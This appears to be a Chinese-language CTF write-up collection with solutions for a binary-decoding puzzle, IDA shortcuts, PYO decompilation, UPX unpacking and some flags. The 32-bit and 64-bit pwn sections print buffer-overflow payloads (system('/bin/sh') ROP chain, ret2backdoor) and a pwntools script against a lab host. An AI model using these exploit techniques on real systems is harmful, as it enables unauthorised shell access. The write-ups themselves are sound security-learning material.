很普通的Disco
放大110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101==ASCII是7位== 12345678string = '110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101' flag = ''for i in range(0, len(string), 7): bin_str = string[i: i + 7] flag += chr(int(bin_str, 2)) print(flag) flag{W0W*funny}
32位
这里 system 函数的地址:0x80483A0 这里将系统函数与参数分开了,我们需要手动构造,这是ROP? payload = b'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)b'a' * (0x12 + 4):这部分是填充,填充的目的是使得输入的长度超过了原本的缓冲区大小,触发缓冲区溢出。p32(system):这部分是 system 函数的地址,在利用缓冲区溢出漏洞时,重要的一步是覆盖返回地址,使得程序返回时跳转到 system 函数。p32(0):这部分是 system 函数的第二个参数,在大多数情况下,system 函数的第二个参数应该是一个指向空值的指针,表示没有额外的参数,这里使用了0,表示一个空指针。p32(bin_sh):这部分是 /bin/sh 字符串的地址,作为 system 函数的第一个参数,/bin/sh 是一个用于启动 shell 的路径,在利用缓冲区溢出漏洞时,我们可以使用这个参数来告诉 system 函数要执行的命令。 首先在溢出后填入 system 函数...
64位
buf 到栈底(ebp)的距离是:0xA,64 位程序加上 8 字节的栈底(rbp)backdoor函数地址:0x400657对于 32 位程序来说,现在就能打通了但是这里是 64 位程序,需要处理堆栈平衡#堆栈平衡:当我们在堆栈中进行堆栈的操作的时候,一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址一定要是call指令的下一个地址。因此我们还需要找一个地址: lev 的地址或者该函数结束的地址(即 retn 的地址)直接看 backdoor 函数的汇编代码:lev 的地址:0x40065Bretn 的地址:0x40066D特别注意:构造 payload 时将该地址放在该函数开始地址之前 from pwn import *context.log_level = 'debug'p = remote('10.190.131.17', 55024)payload = b'a'*(0xA+8) + p64(0x40065B) + p64(0x400657)p.sendli...
我的眼睛能看到比较低的东西
cumtctf{1sb_i4_s0_Ea4y}
快捷键
空格键:反汇编窗口切换文本跟图形 Esc:在反汇编窗口中使用为后退到上个操作的地址处 Shift +F5:打开签名窗口 shift+F12:自动分析出参考字符串 ALT+T:搜索字符串(文本搜索) ALT+L:标记(Lable) ALT+M:设置标签(mark) ALT+G:转换局部变量为结构体 ALT+Enter:跳转到新的窗口 Alt+B:快捷键用于搜索十六进制字节序列,通常在分析过程中可以用来搜索opcode CTRL+M:列举出当前已经添加的标签 CTRL+S列举出二进制程序的段的开始地址、结束地址、权限等信息 F9:动态调试程序(其实IDA主要用作静态分析用的) F5:将一个函数逆向出来(生成c伪代码) G:跳转到指定地址 A:将选择的信息转换成ASCII(转换成可读性跟强的字符串) X(ctrl+X):交叉引用,类似于OD中的栈回溯操作 N:对符号重命名 :&;(冒号&分号):光标所在位置添加常规注释和可重复注释 P:创建函数 T:解析结构体偏移 M:转换为枚举类型常量 Y:设置变量类型 H:转换16进制 C:光标所在地址处的内容解析成代码 D:光标所...
快捷键
从 Exeinfo PE 的识别结果来看,文件 re4 是 PYO 格式(Python 优化编译后的字节码文件 ),不是常规的 PE 可执行程序(Windows EXE )。由 Python 脚本编译生成(python -O script.py 命令会生成 .pyo ),比 .pyc 更小、加载更快,但可读性低。这样提示文件打开是空白的这是正确的==要把文件后缀改成pyc== 1234567891011121314151617181920import base64def encode(message): s = '' for i in message: x = ord(i) ^ 32 x = x + 16 s += chr(x) return base64.b64encode(s)correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'flag = ''print 'Input flag:...
快捷键
好像加了什么东西?从 Exeinfo PE 识别结果看,目标文件是 64 位 ELF 格式(非 Windows 可执行程序),且加了 UPX 壳 。 将脱壳的程序叫 re3和 upx.exe 放在同一目录: 查看壳信息(确认是 UPX 壳): 1upx.exe -l re3 输出会显示 UPX 版本、压缩率等,确认是 UPX 壳再继续。 执行脱壳: upx.exe -d re3.exe ``` - 成功提示:`Unpacked 1 file...` - 失败提示:`Not packed by UPX`(说明不是 UPX 壳,换其他工具 )   
你会编汇编吗
shift+F12+Fn搜索flag








